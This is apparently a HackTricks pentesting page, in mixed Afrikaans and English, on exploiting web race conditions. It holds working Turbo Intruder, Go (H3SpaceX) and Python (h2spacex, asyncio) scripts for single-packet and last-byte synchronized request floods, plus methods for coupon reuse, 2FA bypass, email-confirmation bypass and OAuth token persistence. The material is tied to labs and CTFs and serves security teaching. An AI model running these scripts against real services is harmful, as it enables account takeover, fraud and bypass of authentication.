Race Condition
Reading time: 18 minutes
tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die đŹ Discord groep of die telegram groep of volg ons op Twitter đŠ @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
warning
Vir 'n diepgaande begrip van hierdie tegniek, sien die oorspronklike verslag by https://portswigger.net/research/smashing-the-state-machine
Enhancing Race Condition Attacks
Die hoofhindernis om voordeel te trek uit race conditions is om te verseker dat verskeie versoeke terselfdertyd verwerk word, met 'n baie klein verskil in hul verwerkingstye â idealiter minder as 1 ms.
Hier is 'n paar tegnieke om versoeke te sinkroniseer:
HTTP/2 Single-Packet Attack vs. HTTP/1.1 Last-Byte Synchronization
- HTTP/2: Ondersteun die stuur van twee versoeke oor 'n enkele TCP-verbinding, wat die invloed van netwerkjitter verminder. Weens variasies aan die bedienerkant is twee versoeke egter moontlik nie genoeg vir 'n konsekwente race condition exploit nie.
- HTTP/1.1 'Last-Byte Sync': Maak dit moontlik om die meeste dele van 20â30 versoeke vooraf te stuur, terwyl 'n klein fragment teruggehou word wat dan saam gestuur word, wat gelyktydige aankoms by die bediener bereik.
Preparation for Last-Byte Sync involves:
- Stuur headers en body-data minus die finale byte sonder om die stroom te beëindig.
- Pouseer vir 100 ms na die aanvanklike stuur.
- Deaktiveer TCP_NODELAY om Nagle's algorithm te gebruik vir die groepeer van finale frames.
- Ping om die verbinding op te warm.
Die daaropvolgende stuur van die teruggehou frames behoort te lei tot hul aankoms in 'n enkele pakket, verifieerbaar via Wireshark. Hierdie metode is nie van toepassing op statiese lĂȘers nie, wat gewoonlik nie by RC-aanvalle betrokke is nie.
HTTP/3 LastâFrame Synchronization (QUIC)
- Concept: HTTP/3 loop bo-op QUIC (UDP). Daar is geen TCP-koalessering of Nagle om op te vertrou nie, so klassieke lastâbyte sync werk nie met vanâdieârakâaf kliĂ«nte nie. In plaas daarvan moet jy doelbewus meerdere QUIC streamâfinal DATA frames (FIN) saamvoeg in dieselfde UDP-datagram sodat die bediener alle teikenversoeke in dieselfde skeduleringsâtik kan verwerk.
- How to do it: Gebruik 'n doelgerigte biblioteek wat QUIC framebeheer openbaar. Byvoorbeeld, H3SpaceX manipuleer quic-go om HTTP/3 lastâframe synchronization te implementeer vir beide requests met 'n body en GETâstyl versoeke sonder 'n body.
- Requestsâwithâbody: stuur HEADERS + DATA minus die laaste byte vir N streams, en spoel dan die finale byte van elke stroom saam uit.
- GETâstyle: vervaardig vals DATA-frames (of 'n klein body met ContentâLength) en beĂ«indig alle streams in een datagram.
- Praktiese beperkings:
- Gelyktydigheid word begrens deur die peer se QUIC max_streams transport-parameter (vergelykbaar met HTTP/2 se SETTINGS_MAX_CONCURRENT_STREAMS). As dit laag is, open meerdere H3-verbindinge en versprei die race oor hulle.
- UDP-datagramgrootte en path MTU bepaal hoeveel streamâfinal frames jy kan saamvoeg. Die biblioteek hanteer die splitsing in meerdere datagramme indien nodig, maar 'n enkele-datagram spoel is die betroubaarste.
- Praktyk: Daar is openbare H2/H3 race-labs en voorbeeld-exploits wat H3SpaceX vergesel.
HTTP/3 lastâframe sync (Go + H3SpaceX) minimal example
package main
import (
"crypto/tls"
"context"
"time"
"github.com/nxenon/h3spacex"
h3 "github.com/nxenon/h3spacex/http3"
)
func main(){
tlsConf := &tls.Config{InsecureSkipVerify:true, NextProtos:[]string{h3.NextProtoH3}}
quicConf := &quic.Config{MaxIdleTimeout:10*time.Second, KeepAlivePeriod:10*time.Millisecond}
conn, _ := quic.DialAddr(context.Background(), "IP:PORT", tlsConf, quicConf)
var reqs []*http.Request
for i:=0;i<50;i++{ r,_ := h3.GetRequestObject("https://target/apply", "POST", map[string]string{"Cookie":"sess=...","Content-Type":"application/json"}, []byte(`{"coupon":"SAVE"}`)); reqs = append(reqs,&r) }
// keep last byte (1), sleep 150ms, set Content-Length
h3.SendRequestsWithLastFrameSynchronizationMethod(conn, reqs, 1, 150, true)
}
Aanpassing aan bediener-argitektuur
Dit is van kardinale belang om die teiken se argitektuur te verstaan. Front-end-bedieners kan versoeke anders lei, wat die tydigheid beĂŻnvloed. Voorkomende bedienerkant-verbindingverwarming deur onbeduidende versoeke kan versoektyd normaliseer.
Hantering van sessie-gebaseerde vergrendeling
Frameworks soos PHP's session handler serialiseer versoeke per sessie, wat moontlik kwesbaarhede kan verberg. Die gebruik van verskillende sessie-tokens vir elke versoek kan hierdie probleem omseil.
Oorkoming van koers- of hulpbronlimiete
As verbindingverwarming nie effektief is nie, kan jou webbedieners se koers- of hulpbronlimietvertraginge doelbewus veroorsaak deur 'n vloed van dummy-versoeke. Dit kan die single-packet attack vergemaklik deur 'n bedienerkantvertraging te veroorsaak wat gunstig is vir race conditions.
Attack Examples
- Turbo Intruder - HTTP2 single-packet attack (1 endpoint): You can send the request to Turbo intruder (
Extensions->Turbo Intruder->Send to Turbo Intruder), you can change in the request the value you want to brute force for%slike incsrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%sand then select theexamples/race-single-packer-attack.pyfrom the drop down:
.png)
If you are going to send different values, you could modify the code with this one that uses a wordlist from the clipboard:
passwords = wordlists.clipboard
for password in passwords:
engine.queue(target.req, password, gate='race1')
warning
Indien die web nie HTTP2 ondersteun (slegs HTTP1.1) gebruik Engine.THREADED of Engine.BURP in plaas van Engine.BURP2.
- Turbo Intruder - HTTP2 single-packet attack (Several endpoints): Ingeval jy 'n request na 1 endpoint moet stuur en dan verskeie na ander endpoints om die RCE te trigger, kan jy die
race-single-packet-attack.pyscript verander met iets soos:
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
engine=Engine.BURP2
)
# Hardcode the second request for the RC
confirmationReq = '''POST /confirm?token[]= HTTP/2
Host: 0a9c00370490e77e837419c4005900d0.web-security-academy.net
Cookie: phpsessionid=MpDEOYRvaNT1OAm0OtAsmLZ91iDfISLU
Content-Length: 0
'''
# For each attempt (20 in total) send 50 confirmation requests.
for attempt in range(20):
currentAttempt = str(attempt)
username = 'aUser' + currentAttempt
# queue a single registration request
engine.queue(target.req, username, gate=currentAttempt)
# queue 50 confirmation requests - note that this will probably sent in two separate packets
for i in range(50):
engine.queue(confirmationReq, gate=currentAttempt)
# send all the queued requests for this attempt
engine.openGate(currentAttempt)
- Dit is ook beskikbaar in Repeater via die nuwe 'Send group in parallel' opsie in Burp Suite.
- Vir limit-overrun kan jy net die same request 50 times by die groep voeg.
- Vir connection warming, kan jy add aan die beginning van die group 'n paar requests na 'n nie-statiese deel van die webserver voeg.
- Vir delaying die proses between verwerking van one request and another in 'n proses met 2 substates, kan jy add extra requests between albei requests.
- Vir 'n multi-endpoint RC kan jy begin om die request te stuur wat goes to the hidden state en dan 50 requests net daarna wat die exploits the hidden state.
.png)
- Automated python script: Die doel van hierdie script is om die e-pos van 'n gebruiker te verander terwyl dit voortdurend verifieer totdat die verification token van die nuwe e-pos by die laaste e-pos aankom (dit is omdat in die kode 'n RC gesien is waar dit moontlik was om 'n e-pos te wysig maar die verification na die ou een gestuur is omdat die veranderlike wat die e-pos aandui reeds met die eerste gevul was).
Wanneer die woord "objetivo" in die ontvangde emails gevind word, weet ons ons het die verification token van die veranderde e-pos ontvang en ons beëindig die aanval.
# https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun
# Script from victor to solve a HTB challenge
from h2spacex import H2OnTlsConnection
from time import sleep
from h2spacex import h2_frames
import requests
cookie="session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MiwiZXhwIjoxNzEwMzA0MDY1LCJhbnRpQ1NSRlRva2VuIjoiNDJhMDg4NzItNjEwYS00OTY1LTk1NTMtMjJkN2IzYWExODI3In0.I-N93zbVOGZXV_FQQ8hqDMUrGr05G-6IIZkyPwSiiDg"
# change these headers
headersObjetivo= """accept: */*
content-type: application/x-www-form-urlencoded
Cookie: "+cookie+"""
Content-Length: 112
"""
bodyObjetivo = 'email=objetivo%40apexsurvive.htb&username=estes&fullName=test&antiCSRFToken=42a08872-610a-4965-9553-22d7b3aa1827'
headersVerification= """Content-Length: 1
Cookie: "+cookie+"""
"""
CSRF="42a08872-610a-4965-9553-22d7b3aa1827"
host = "94.237.56.46"
puerto =39697
url = "https://"+host+":"+str(puerto)+"/email/"
response = requests.get(url, verify=False)
while "objetivo" not in response.text:
urlDeleteMails = "https://"+host+":"+str(puerto)+"/email/deleteall/"
responseDeleteMails = requests.get(urlDeleteMails, verify=False)
#print(response.text)
# change this host name to new generated one
Headers = { "Cookie" : cookie, "content-type": "application/x-www-form-urlencoded" }
data="email=test%40email.htb&username=estes&fullName=test&antiCSRFToken="+CSRF
urlReset="https://"+host+":"+str(puerto)+"/challenge/api/profile"
responseReset = requests.post(urlReset, data=data, headers=Headers, verify=False)
print(responseReset.status_code)
h2_conn = H2OnTlsConnection(
hostname=host,
port_number=puerto
)
h2_conn.setup_connection()
try_num = 100
stream_ids_list = h2_conn.generate_stream_ids(number_of_streams=try_num)
all_headers_frames = [] # all headers frame + data frames which have not the last byte
all_data_frames = [] # all data frames which contain the last byte
for i in range(0, try_num):
last_data_frame_with_last_byte=''
if i == try_num/2:
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames( # noqa: E501
method='POST',
headers_string=headersObjetivo,
scheme='https',
stream_id=stream_ids_list[i],
authority=host,
body=bodyObjetivo,
path='/challenge/api/profile'
)
else:
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames(
method='GET',
headers_string=headersVerification,
scheme='https',
stream_id=stream_ids_list[i],
authority=host,
body=".",
path='/challenge/api/sendVerification'
)
all_headers_frames.append(header_frames_without_last_byte)
all_data_frames.append(last_data_frame_with_last_byte)
# concatenate all headers bytes
temp_headers_bytes = b''
for h in all_headers_frames:
temp_headers_bytes += bytes(h)
# concatenate all data frames which have last byte
temp_data_bytes = b''
for d in all_data_frames:
temp_data_bytes += bytes(d)
h2_conn.send_bytes(temp_headers_bytes)
# wait some time
sleep(0.1)
# send ping frame to warm up connection
h2_conn.send_ping_frame()
# send remaining data frames
h2_conn.send_bytes(temp_data_bytes)
resp = h2_conn.read_response_from_socket(_timeout=3)
frame_parser = h2_frames.FrameParser(h2_connection=h2_conn)
frame_parser.add_frames(resp)
frame_parser.show_response_of_sent_requests()
print('---')
sleep(3)
h2_conn.close_connection()
response = requests.get(url, verify=False)
Turbo Intruder: enjin- en gating-notas
- Enjin-keuse: gebruik
Engine.BURP2op HTTP/2-teikens om die singleâpacket attack te aktiveer; val terug opEngine.THREADEDofEngine.BURPvir HTTP/1.1 lastâbyte sync. gate/openGate: plaas baie kopieĂ« in die ry metgate='race1'(of perâattempt gates), wat die staart van elke versoek terughou;openGate('race1')spoel al die staarts saam uit sodat dit byna gelyktydig aankom.- Diagnostiek: negatiewe tydstempels in Turbo Intruder dui daarop dat die bediener geantwoord het voordat die versoek volledig gestuur is, wat oorlap bewys. Dit is te verwag in ware races.
- Verbinding-opwarming: stuur eers 'n ping of 'n paar onskadelike versoeke om die tydsberekening te stabiliseer; skakel opsioneel
TCP_NODELAYaf om die laaste frames te laat saampak.
Improving Single Packet Attack
In die oorspronklike navorsing word verduidelik dat hierdie attack 'n limiet van 1,500 bytes het. In hierdie pos is egter beskryf hoe dit moontlik is om die 1,500âbyte beperking van die single packet attack uit te brei na die 65,535 B vensterlimiet van TCP deur gebruik te maak van IPâlaag fragmentasie (die opsplitsing van 'n enkele pakket in meerdere IPâpakkette) en dit in 'n ander volgorde te stuur, wat verhoed dat die pakket saamgestel word totdat al die fragmente by die bediener aangekom het. Hierdie tegniek het die navorser in staat gestel om 10,000 versoeke in sowat 166 ms te stuur.
Let wel dat hoewel hierdie verbetering die attack meer betroubaar maak in RC's wat honderde/duisende pakkette benodig om terselfdertyd aan te kom, dit ook sagtewareâbeperkings kan hĂȘ. Sommige gewilde HTTP-bedieners soos Apache, Nginx en Go het 'n streng SETTINGS_MAX_CONCURRENT_STREAMS instelling van onderskeidelik 100, 128 en 250. Ander soos NodeJS en nghttp2 het dit onbeperk.
Dit beteken basies dat Apache slegs 100 HTTPâverbindinge vanaf 'n enkele TCPâverbinding sal oorweeg (wat hierdie RCâattack beperk). Vir HTTP/3 is die analoog QUIC se max_streams transporparameter â as dit klein is, versprei jou race oor meerdere QUICâverbindinge.
You can find some examples using this technique in the repo https://github.com/Ry0taK/first-sequence-sync/tree/main.
Raw BF
Voor daardie navorsing was dit 'n paar payloads wat gebruik is wat net probeer het om die pakkette so vinnig as moontlik te stuur om 'n RC te veroorsaak.
- Repeater: Kyk na die voorbeelde in die vorige afdeling.
- Intruder: Stuur die versoek na Intruder, stel die aantal threads op 30 in die Optionsâmenu, kies as payload Null payloads en genereer 30.
- Turbo Intruder
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
pipeline=False
)
a = ['Session=<session_id_1>','Session=<session_id_2>','Session=<session_id_3>']
for i in range(len(a)):
engine.queue(target.req,a[i], gate='race1')
# open TCP connections and send partial requests
engine.start(timeout=10)
engine.openGate('race1')
engine.complete(timeout=60)
def handleResponse(req, interesting):
table.add(req)
- Python - asyncio
import asyncio
import httpx
async def use_code(client):
resp = await client.post(f'http://victim.com', cookies={"session": "asdasdasd"}, data={"code": "123123123"})
return resp.text
async def main():
async with httpx.AsyncClient() as client:
tasks = []
for _ in range(20): #20 times
tasks.append(asyncio.ensure_future(use_code(client)))
# Get responses
results = await asyncio.gather(*tasks, return_exceptions=True)
# Print results
for r in results:
print(r)
# Async2sync sleep
await asyncio.sleep(0.5)
print(results)
asyncio.run(main())
RC Methodology
Limit-overrun / TOCTOU
Dit is die mees basiese tipe race condition waar kwesbaarhede verskyn op plekke wat die aantal kere beperk waarop jy 'n aksie kan uitvoer. Soos om dieselfde afslagkode in 'n webwinkel verskeie kere te gebruik. 'n Baie eenvoudige voorbeeld kan gevind word in this report of in this bug.
Daar is baie variasies van hierdie tipe aanval, insluitend:
- Redeeming a gift card multiple times
- Rating a product multiple times
- Withdrawing or transferring cash in excess of your account balance
- Reusing a single CAPTCHA solution
- Bypassing an anti-brute-force rate limit
Verborge subtoestande
Eksploiteer van komplekse race conditions behels dikwels die benutting van kortgeleë geleenthede om met verborge of onbedoelde masjien-subtoestande te interaksieer. So benader dit:
- Identify Potential Hidden Substates
- Begin deur endpoints te identifiseer wat kritieke data wysig of hanteer, soos user profiles of password reset processes. Fokus op:
- Storage: Prefer endpoints that manipulate server-side persistent data over those handling data client-side.
- Action: Look for operations that alter existing data, which are more likely to create exploitable conditions compared to those that add new data.
- Keying: Successful attacks usually involve operations keyed on the same identifier, e.g., username or reset token.
- Conduct Initial Probing
- Toets die geĂŻdentifiseerde endpoints met race condition-aanvalle en let op enige afwykings van verwagte uitkomste. Onverwagte antwoorde of veranderinge in toepassingsgedrag kan op 'n kwesbaarheid dui.
- Demonstrate the Vulnerability
- Beperk die aanval tot die minimale aantal versoeke wat nodig is om die kwesbaarheid uit te buit, dikwels net twee. Hierdie stap mag herhaalde pogings of outomatisering verg weens die presiese tyding wat benodig word.
Time Sensitive Attacks
Presisie in die tyding van versoeke kan kwesbaarhede openbaar, veral wanneer voorspelbare metodes soos timestamps gebruik word vir security tokens. Byvoorbeeld, die genereer van password reset tokens gebaseer op timestamps kan identiese tokens toelaat vir gelyktydige versoeke.
To Exploit:
- Gebruik presiese tyding, soos 'n single packet attack, om concurrent password reset requests te stuur. Identiese tokens dui op 'n kwesbaarheid.
Example:
- Versoek twee password reset tokens terselfdertyd en vergelyk hulle. Gelykende tokens dui op 'n fout in token generation.
Check this PortSwigger Lab to try this.
Gevallestudies van verborge subtoestande
Pay & add an Item
Check this PortSwigger Lab to see how to pay in a store and add an extra item you that won't need to pay for it.
Confirm other emails
Die idee is om 'n email address te verify en dit tegelykertyd na 'n ander een te verander om uit te vind of die platform die nuwe veranderde adres verifieer.
Change email to 2 emails addresses Cookie based
Volgens this research was Gitlab kwesbaar vir 'n takeover op hierdie wyse omdat dit moontlik die email verification token van een email na die ander kon stuur.
Check this PortSwigger Lab to try this.
Hidden Database states / Confirmation Bypass
As 2 different writes gebruik word om inligting by 'n databasis te voeg, is daar 'n klein tydspan waar slegs die eerste data geskryf is in die databasis. Byvoorbeeld, wanneer 'n gebruiker geskep word, kan die username en password geskryf word en daarna die token om die nuutgeskepte rekening te bevestig. Dit beteken dat vir 'n kort tyd die token to confirm an account is null.
Daarom kan die registrasie van 'n rekening en die stuur van verskeie versoeke met 'n leë token (token= or token[]= or any other variation) om die rekening onmiddellik te bevestig, toelaat om 'n rekening te confirm waarvoor jy nie die email beheer nie.
Check this PortSwigger Lab to try this.
Bypass 2FA
Die volgende pseudo-code is kwesbaar vir race condition omdat in 'n baie klein tydspan die 2FA is not enforced terwyl die session geskep word:
session['userid'] = user.userid
if user.mfa_enabled:
session['enforce_mfa'] = True
# generate and send MFA code to user
# redirect browser to MFA code entry form
OAuth2 ewige persistentie
Daar is verskeie OAUth providers. Hierdie dienste laat jou toe om 'n application te skep en gebruikers te autentiseer wat deur die provider geregistreer is. Om dit te doen, sal die client die permit your application nodig hĂȘ om toegang tot 'n deel van hul data binne die OAUth provider te kry.
Dus, tot hier net 'n gewone aanmelding met google/linkedin/github... waar jy 'n bladsy kry wat sĂȘ: "Application
Race Condition in authorization_code
Die problem verskyn wanneer jy dit accept it en dit outomaties 'n authorization_code na die kwaadwillige application stuur. Daarna misbruik hierdie application die feit dat jy die toepassing toegelaat het om jou data te sien en die application abuses a Race Condition in the OAUth service provider to generate more that one AT/RT (Authentication Token/Refresh Token) vanaf die authorization_code vir jou rekening. Basies sal dit create several accounts. Dan, as jy stop allowing the application to access your data one pair of AT/RT will be deleted, but the other ones will still be valid
Race Condition in Refresh Token
Sodra jy obtained a valid RT het, kan jy probeer abuse it to generate several AT/RT, en selfs as die gebruiker even if the user cancels the permissions vir die kwaadwillige application om toegang tot sy data te kry, sal several RTs will still be valid.
RC in WebSockets
- In WS_RaceCondition_PoC vind jy 'n PoC in Java om websocket boodskappe in parallel te stuur om Race Conditions also in Web Sockets te misbruik.
- Met Burpâs WebSocket Turbo Intruder kan jy die THREADED engine gebruik om veelvuldige WSâverbindinge te skep en payloads parallel te stuur. Begin by die amptelike voorbeeld en stel
config()(thread count) vir concurrency af; dit is dikwels meer betroubaar as om op 'n enkele verbinding te batche wanneer jy serverâside state oor WS handlers probeer race. Sien RaceConditionExample.py.
Verwysings
- https://hackerone.com/reports/759247
- https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html
- https://hackerone.com/reports/55140
- https://portswigger.net/research/smashing-the-state-machine
- https://portswigger.net/web-security/race-conditions
- https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/
- WebSocket Turbo Intruder: Unearthing the WebSocket Goldmine
- WebSocketTurboIntruder â GitHub
- RaceConditionExample.py
- H3SpaceX (HTTP/3 lastâframe sync) â Go package docs
- PacketSprinter: Simplifying HTTP/2 SingleâPacket Testing (Route Zero blog)
tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die đŹ Discord groep of die telegram groep of volg ons op Twitter đŠ @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
HackTricks